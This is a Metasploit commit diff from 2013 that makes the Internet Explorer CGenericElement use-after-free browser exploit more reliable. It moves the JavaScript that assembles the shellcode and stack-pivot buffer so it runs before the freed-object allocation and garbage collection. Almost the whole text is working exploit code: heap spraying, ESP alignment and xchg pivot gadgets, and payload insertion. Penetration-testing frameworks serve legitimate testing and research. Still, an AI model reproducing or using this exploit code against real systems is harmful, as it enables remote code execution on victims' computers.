Land #1810, @wchen-r7's modification to make ie_cgenericelement_uaf m…

…ore stable
rapid7 · May 9, 2013 · 94f841d · 94f841d
2 parents f9f769c + 9043eed
commit 94f841d
Showing 1 changed file with 16 additions and 16 deletions.
diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb
@@ -227,6 +227,22 @@ def load_exploit_html(my_target, cli)
 
 		function helloWorld()
 		{
+			sparkle = unescape("ABCD");
+			for (i=0; i < 2; i++) {
+				sparkle += unescape("ABCD");
+			}
+			sparkle += unescape("AB");
+			sparkle += unescape("#{js_payload}");
+
+			magenta = unescape("#{align_esp}");
+
+			for (i=0; i < 0x70/4; i++) {
+				if (i == 0x70/4-1) { magenta += unescape("#{xchg_esp}"); }
+				else               { magenta += unescape("#{align_esp}"); }
+			}
+
+			magenta += sparkle;
+
 			f0 = document.createElement('span');
 			document.body.appendChild(f0);
 			f1 = document.createElement('span');
@@ -246,22 +262,6 @@ def load_exploit_html(my_target, cli)
 			f1.innerHTML = "";
 
 			CollectGarbage();
-
-			sparkle = unescape("ABCD");
-			for (i=0; i < 2; i++) {
-				sparkle += unescape("ABCD");
-			}
-			sparkle += unescape("AB");
-			sparkle += unescape("#{js_payload}");
-
-			magenta = unescape("#{align_esp}");
-
-			for (i=0; i < 0x70/4; i++) {
-				if (i == 0x70/4-1) { magenta += unescape("#{xchg_esp}"); }
-				else               { magenta += unescape("#{align_esp}"); }
-			}
-
-			magenta += sparkle;
 			mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});
 		}